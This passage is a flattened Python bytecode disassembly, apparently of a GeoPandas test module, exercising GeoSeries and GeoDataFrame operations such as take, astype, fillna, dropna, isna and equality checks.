assert_geoseries_equal LOAD_FAST result LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_ATTR take LOAD_FAST inds LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result LOAD_FAST df LOAD_ATTR iloc LOAD_CONST 0 LOAD_CONST 2 BUILD_LIST LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST expected LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GeoDataFrame CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_geodataframe_equal LOAD_FAST result LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_ATTR reindex LOAD_CONST 'value1' LOAD_CONST 'value2' LOAD_CONST 'geometry' BUILD_LIST LOAD_CONST ('columns',) CALL_FUNCTION STORE_FAST df LOAD_FAST df LOAD_ATTR take LOAD_FAST inds LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result LOAD_FAST df LOAD_CONST 'value1' LOAD_CONST 'geometry' BUILD_LIST BINARY_SUBSCR STORE_FAST expected LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GeoDataFrame CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_geodataframe_equal LOAD_FAST result LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_ATTR take LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST CALL_METHOD LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result LOAD_FAST df LOAD_CONST 'value1' LOAD_CONST 'value2' BUILD_LIST BINARY_SUBSCR STORE_FAST expected LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL pd LOAD_ATTR DataFrame CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_frame_equal LOAD_FAST result LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL np LOAD_ATTR array BUILD_LIST LOAD_CONST 'int64' LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST inds LOAD_GLOBAL pd LOAD_ATTR date_range LOAD_CONST '2012-01-01' LOAD_GLOBAL len LOAD_FAST df CALL_FUNCTION LOAD_CONST ('periods',) CALL_FUNCTION LOAD_FAST df STORE_ATTR index LOAD_FAST df LOAD_ATTR take LOAD_FAST inds LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GeoDataFrame CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR shape LOAD_CONST (0, 3) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST result LOAD_ATTR index LOAD_GLOBAL pd LOAD_ATTR DatetimeIndex CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS SETUP_LOOP to 184 LOAD_FAST df LOAD_ATTR loc LOAD_FAST df LOAD_CONST 'value1' BINARY_SUBSCR LOAD_CONST 100 COMPARE_OP > BINARY_SUBSCR LOAD_FAST df LOAD_FAST df LOAD_CONST 'value1' BINARY_SUBSCR LOAD_CONST 100 COMPARE_OP > BINARY_SUBSCR BUILD_LIST GET_ITER FOR_ITER to 182 STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GeoDataFrame CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR shape LOAD_CONST (0, 3) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST result LOAD_ATTR index LOAD_GLOBAL pd LOAD_ATTR DatetimeIndex CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 10 LOAD_CONST 10 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST exp LOAD_FAST s LOAD_METHOD copy CALL_METHOD STORE_FAST s2 LOAD_GLOBAL Point LOAD_CONST 10 LOAD_CONST 10 CALL_FUNCTION LOAD_FAST s2 LOAD_CONST 0 STORE_SUBSCR LOAD_GLOBAL assert_geoseries_equal LOAD_FAST s2 LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_FAST s LOAD_METHOD copy CALL_METHOD STORE_FAST s2 LOAD_GLOBAL Point LOAD_CONST 10 LOAD_CONST 10 CALL_FUNCTION LOAD_FAST s2 LOAD_ATTR loc LOAD_CONST 0 STORE_SUBSCR LOAD_GLOBAL assert_geoseries_equal LOAD_FAST s2 LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_FAST s LOAD_METHOD copy CALL_METHOD STORE_FAST s2 LOAD_GLOBAL Point LOAD_CONST 10 LOAD_CONST 10 CALL_FUNCTION LOAD_FAST s2 LOAD_ATTR iloc LOAD_CONST 0 STORE_SUBSCR LOAD_GLOBAL assert_geoseries_equal LOAD_FAST s2 LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_METHOD copy CALL_METHOD STORE_FAST df2 LOAD_GLOBAL Point LOAD_CONST 10 LOAD_CONST 10 CALL_FUNCTION LOAD_FAST df2 LOAD_ATTR loc LOAD_CONST (0, 'geometry') STORE_SUBSCR LOAD_GLOBAL assert_geoseries_equal LOAD_FAST df2 LOAD_CONST 'geometry' BINARY_SUBSCR LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_METHOD copy CALL_METHOD STORE_FAST df2 LOAD_GLOBAL Point LOAD_CONST 10 LOAD_CONST 10 CALL_FUNCTION LOAD_FAST df2 LOAD_ATTR iloc LOAD_CONST (0, 0) STORE_SUBSCR LOAD_GLOBAL assert_geoseries_equal LOAD_FAST df2 LOAD_CONST 'geometry' BINARY_SUBSCR LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST df LOAD_ATTR assign LOAD_CONST 1 LOAD_CONST ('new',) CALL_FUNCTION STORE_FAST res LOAD_FAST df LOAD_METHOD copy CALL_METHOD STORE_FAST exp LOAD_CONST 1 LOAD_FAST exp LOAD_CONST 'new' STORE_SUBSCR LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL GeoDataFrame CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_frame_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 26 POP_TOP LOAD_FAST s LOAD_METHOD astype LOAD_GLOBAL int CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST s LOAD_METHOD astype LOAD_GLOBAL str CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'POINT (0 0)' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_METHOD astype LOAD_GLOBAL object CALL_METHOD STORE_FAST res LOAD_GLOBAL Version LOAD_GLOBAL pd LOAD_ATTR __version__ CALL_FUNCTION LOAD_GLOBAL Version LOAD_CONST '2.1.0' CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL Version LOAD_GLOBAL pd LOAD_ATTR __version__ CALL_FUNCTION LOAD_GLOBAL Version LOAD_CONST '2.1.1' CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL pd LOAD_ATTR Series CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL GeoSeries CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_ATTR dtype LOAD_GLOBAL object COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_METHOD rename_geometry LOAD_CONST 'geom_list' CALL_METHOD STORE_FAST df LOAD_FAST df LOAD_METHOD astype LOAD_CONST 'value1' LOAD_GLOBAL float BUILD_MAP CALL_METHOD STORE_FAST res LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL GeoDataFrame CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_METHOD astype LOAD_GLOBAL str CALL_METHOD STORE_FAST res LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL pd LOAD_ATTR DataFrame CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL GeoDataFrame CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_METHOD astype LOAD_CONST 'geom_list' LOAD_GLOBAL str BUILD_MAP CALL_METHOD STORE_FAST res LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL pd LOAD_ATTR DataFrame CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL GeoDataFrame CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_METHOD astype LOAD_GLOBAL object CALL_METHOD STORE_FAST res LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL pd LOAD_ATTR DataFrame CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL GeoDataFrame CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'geom_list' BINARY_SUBSCR LOAD_ATTR dtype LOAD_GLOBAL object COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoDataFrame LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 4 LOAD_CONST 5 LOAD_CONST 6 BUILD_LIST LOAD_CONST ('a', 'b') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_FAST df LOAD_FAST df LOAD_METHOD astype LOAD_GLOBAL object CALL_METHOD STORE_FAST res LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL pd LOAD_ATTR DataFrame CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL GeoDataFrame CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'a' BINARY_SUBSCR LOAD_ATTR dtype LOAD_GLOBAL object COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST df LOAD_METHOD convert_dtypes CALL_METHOD STORE_FAST res1 LOAD_GLOBAL GeoDataFrame LOAD_GLOBAL pd LOAD_METHOD DataFrame LOAD_FAST df CALL_METHOD LOAD_METHOD convert_dtypes CALL_METHOD LOAD_FAST df LOAD_ATTR crs LOAD_FAST df LOAD_ATTR geometry LOAD_ATTR name LOAD_CONST ('crs', 'geometry') CALL_FUNCTION STORE_FAST expected1 LOAD_GLOBAL assert_geodataframe_equal LOAD_FAST expected1 LOAD_FAST res1 CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_CONST 'value1' LOAD_CONST 'value2' LOAD_CONST 'geometry' BUILD_LIST BINARY_SUBSCR LOAD_METHOD convert_dtypes CALL_METHOD STORE_FAST res2 LOAD_GLOBAL assert_geodataframe_equal LOAD_FAST expected1 LOAD_CONST 'value1' LOAD_CONST 'value2' LOAD_CONST 'geometry' BUILD_LIST BINARY_SUBSCR LOAD_FAST res2 CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_ATTR set_crs LOAD_CONST 4326 LOAD_CONST ('epsg',) CALL_FUNCTION LOAD_METHOD rename_geometry LOAD_CONST 'points' CALL_METHOD STORE_FAST df2 LOAD_GLOBAL GeoDataFrame LOAD_GLOBAL pd LOAD_METHOD DataFrame LOAD_FAST df2 CALL_METHOD LOAD_METHOD convert_dtypes CALL_METHOD LOAD_FAST df2 LOAD_ATTR crs LOAD_FAST df2 LOAD_ATTR geometry LOAD_ATTR name LOAD_CONST ('crs', 'geometry') CALL_FUNCTION STORE_FAST expected2 LOAD_FAST df2 LOAD_METHOD convert_dtypes CALL_METHOD STORE_FAST res3 LOAD_GLOBAL assert_geodataframe_equal LOAD_FAST expected2 LOAD_FAST res3 CALL_FUNCTION POP_TOP LOAD_FAST df2 LOAD_CONST 'value1' LOAD_CONST 'value2' LOAD_CONST 'points' BUILD_LIST BINARY_SUBSCR LOAD_METHOD convert_dtypes CALL_METHOD STORE_FAST res4 LOAD_GLOBAL assert_geodataframe_equal LOAD_FAST expected2 LOAD_CONST 'value1' LOAD_CONST 'value2' LOAD_CONST 'points' BUILD_LIST BINARY_SUBSCR LOAD_FAST res4 CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'geometry,value1,value2\nPOINT (0 0),0,1\nPOINT (1 1),1,2\nPOINT (2 2),2,1\n' LOAD_METHOD replace LOAD_CONST '\n' LOAD_GLOBAL os LOAD_ATTR linesep CALL_METHOD STORE_FAST exp LOAD_FAST df LOAD_ATTR to_csv LOAD_CONST False LOAD_CONST ('index',) CALL_FUNCTION LOAD_FAST exp COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pd LOAD_ATTR Series LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST LOAD_CONST 'value1' LOAD_CONST 'value2' BUILD_LIST LOAD_CONST ('index',) CALL_FUNCTION STORE_FAST exp LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_20 POP_JUMP_IF_TRUE LOAD_FAST df LOAD_METHOD sum CALL_METHOD STORE_FAST res JUMP_FORWARD to 50 LOAD_FAST df LOAD_ATTR sum LOAD_CONST True LOAD_CONST ('numeric_only',) CALL_FUNCTION STORE_FAST res LOAD_GLOBAL assert_series_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 84 POP_TOP LOAD_FAST s LOAD_METHOD sum CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 114 POP_TOP LOAD_FAST s LOAD_METHOD max CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError LOAD_GLOBAL ValueError BUILD_TUPLE CALL_METHOD SETUP_WITH to 148 POP_TOP LOAD_FAST s LOAD_METHOD idxmax CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 178 POP_TOP LOAD_FAST df LOAD_CONST 1 BINARY_ADD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 208 POP_TOP LOAD_FAST s LOAD_CONST 1 BINARY_ADD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST df LOAD_CONST 100 COMPARE_OP == STORE_FAST res LOAD_GLOBAL pd LOAD_ATTR DataFrame LOAD_CONST False LOAD_FAST df LOAD_ATTR index LOAD_FAST df LOAD_ATTR columns LOAD_CONST ('index', 'columns') CALL_FUNCTION STORE_FAST exp LOAD_GLOBAL assert_frame_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST s LOAD_METHOD where LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST True LOAD_CONST False LOAD_CONST True BUILD_LIST CALL_METHOD CALL_METHOD STORE_FAST res LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_CONST None LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST exp LOAD_GLOBAL assert_series_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST df LOAD_ATTR select_dtypes LOAD_GLOBAL np LOAD_ATTR number BUILD_LIST LOAD_CONST ('include',) CALL_FUNCTION STORE_FAST res LOAD_FAST df LOAD_CONST 'value1' LOAD_CONST 'value2' BUILD_LIST BINARY_SUBSCR STORE_FAST exp LOAD_GLOBAL assert_frame_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST s LOAD_METHOD copy CALL_METHOD STORE_FAST s2 LOAD_FAST s LOAD_METHOD equals LOAD_FAST s2 CALL_METHOD LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None LOAD_FAST s2 LOAD_ATTR iloc LOAD_CONST 0 STORE_SUBSCR LOAD_FAST s LOAD_METHOD equals LOAD_FAST s2 CALL_METHOD LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_METHOD copy CALL_METHOD STORE_FAST df2 LOAD_FAST df LOAD_METHOD equals LOAD_FAST df2 CALL_METHOD LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Point LOAD_CONST 10 LOAD_CONST 10 CALL_FUNCTION LOAD_FAST df2 LOAD_ATTR loc LOAD_CONST (0, 'geometry') STORE_SUBSCR LOAD_FAST df LOAD_METHOD equals LOAD_FAST df2 CALL_METHOD LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_METHOD copy CALL_METHOD STORE_FAST df2 LOAD_CONST 10 LOAD_FAST df2 LOAD_ATTR loc LOAD_CONST (0, 'value1') STORE_SUBSCR LOAD_FAST df LOAD_METHOD equals LOAD_FAST df2 CALL_METHOD LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_CONST None LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s2 LOAD_FAST s2 LOAD_METHOD fillna LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION CALL_METHOD STORE_FAST res LOAD_GLOBAL assert_geoseries_equal LOAD_FAST res LOAD_FAST s CALL_FUNCTION POP_TOP LOAD_FAST s2 LOAD_METHOD fillna LOAD_GLOBAL np LOAD_ATTR nan CALL_METHOD STORE_FAST res LOAD_GLOBAL assert_geoseries_equal LOAD_FAST res LOAD_FAST s2 CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_METHOD copy CALL_METHOD STORE_FAST df2 LOAD_FAST s2 LOAD_FAST df2 LOAD_CONST 'geometry' STORE_SUBSCR LOAD_FAST df2 LOAD_METHOD fillna LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION CALL_METHOD STORE_FAST res LOAD_GLOBAL assert_geodataframe_equal LOAD_FAST res LOAD_FAST df CALL_FUNCTION POP_TOP LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL NotImplementedError LOAD_GLOBAL TypeError BUILD_TUPLE CALL_METHOD SETUP_WITH to 146 POP_TOP LOAD_FAST df2 LOAD_METHOD fillna LOAD_CONST 0 CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST df LOAD_METHOD copy CALL_METHOD STORE_FAST df3 LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST df3 LOAD_ATTR loc LOAD_CONST (0, 'value1') STORE_SUBSCR LOAD_FAST df3 LOAD_METHOD fillna LOAD_CONST 0 CALL_METHOD STORE_FAST res LOAD_GLOBAL assert_geodataframe_equal LOAD_FAST res LOAD_METHOD astype LOAD_CONST 'value1' LOAD_CONST 'int64' BUILD_MAP CALL_METHOD LOAD_FAST df CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_CONST None LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s2 LOAD_FAST s2 LOAD_METHOD fillna LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION BUILD_LIST LOAD_CONST 3 BINARY_MULTIPLY CALL_FUNCTION CALL_METHOD STORE_FAST res LOAD_GLOBAL assert_geoseries_equal LOAD_FAST res LOAD_FAST s CALL_FUNCTION POP_TOP LOAD_CONST 3 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST STORE_FAST index LOAD_FAST s2 LOAD_METHOD fillna LOAD_GLOBAL GeoSeries LOAD_CONST <code object <listcomp> at 0x7faa51b82a50, file "f.py", line 375> LOAD_CONST 'test_fillna_series.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST index GET_ITER CALL_FUNCTION LOAD_FAST index LOAD_CONST ('index',) CALL_FUNCTION CALL_METHOD STORE_FAST res LOAD_GLOBAL assert_geoseries_equal LOAD_FAST res LOAD_FAST s CALL_FUNCTION POP_TOP LOAD_FAST s2 LOAD_METHOD fillna LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST ('index',) CALL_FUNCTION CALL_METHOD STORE_FAST res LOAD_GLOBAL assert_geoseries_equal LOAD_FAST res LOAD_FAST s CALL_FUNCTION POP_TOP LOAD_FAST s2 LOAD_METHOD fillna LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION BUILD_LIST LOAD_CONST 9 BUILD_LIST LOAD_CONST ('index',) CALL_FUNCTION CALL_METHOD STORE_FAST res LOAD_GLOBAL assert_geoseries_equal LOAD_FAST res LOAD_FAST s2 CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST i LOAD_GLOBAL Point LOAD_FAST i LOAD_FAST i CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_CONST None LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s2 LOAD_FAST s2 LOAD_ATTR array STORE_FAST arr LOAD_FAST s2 LOAD_ATTR fillna LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION LOAD_CONST True LOAD_CONST ('inplace',) CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_geoseries_equal LOAD_FAST s2 LOAD_FAST s CALL_FUNCTION POP_TOP LOAD_GLOBAL compat LOAD_ATTR PANDAS_GE_21 POP_JUMP_IF_FALSE LOAD_FAST s2 LOAD_ATTR array LOAD_FAST arr COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_CONST None LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s2 LOAD_FAST s2 LOAD_METHOD dropna CALL_METHOD STORE_FAST res LOAD_FAST s2 LOAD_ATTR loc LOAD_CONST 0 LOAD_CONST 2 BUILD_LIST BINARY_SUBSCR STORE_FAST exp LOAD_GLOBAL assert_geoseries_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_FAST NA LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION BUILD_LIST LOAD_CONST 2 LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST LOAD_CONST 'tt' LOAD_CONST ('index', 'name') CALL_FUNCTION STORE_FAST s2 LOAD_GLOBAL pd LOAD_ATTR Series LOAD_CONST False LOAD_CONST True LOAD_CONST False BUILD_LIST LOAD_CONST 2 LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST LOAD_CONST 'tt' LOAD_CONST ('index', 'name') CALL_FUNCTION STORE_FAST exp LOAD_FAST s2 LOAD_METHOD isnull CALL_METHOD STORE_FAST res LOAD_GLOBAL type LOAD_FAST res CALL_FUNCTION LOAD_GLOBAL pd LOAD_ATTR Series COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_series_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_FAST s2 LOAD_METHOD isna CALL_METHOD STORE_FAST res LOAD_GLOBAL assert_series_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_FAST s2 LOAD_METHOD notnull CALL_METHOD STORE_FAST res LOAD_GLOBAL assert_series_equal LOAD_FAST res LOAD_FAST exp UNARY_INVERT CALL_FUNCTION POP_TOP LOAD_FAST s2 LOAD_METHOD notna CALL_METHOD STORE_FAST res LOAD_GLOBAL assert_series_equal LOAD_FAST res LOAD_FAST exp UNARY_INVERT CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeometryCollection BUILD_LIST CALL_FUNCTION STORE_FAST empty LOAD_GLOBAL GeoSeries LOAD_FAST empty LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_METHOD all CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_METHOD any CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_METHOD all CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_METHOD any CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL GeoSeries LOAD_FAST empty LOAD_FAST empty BUILD_LIST CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_METHOD all CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_METHOD any CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION LOAD_GLOBAL Point 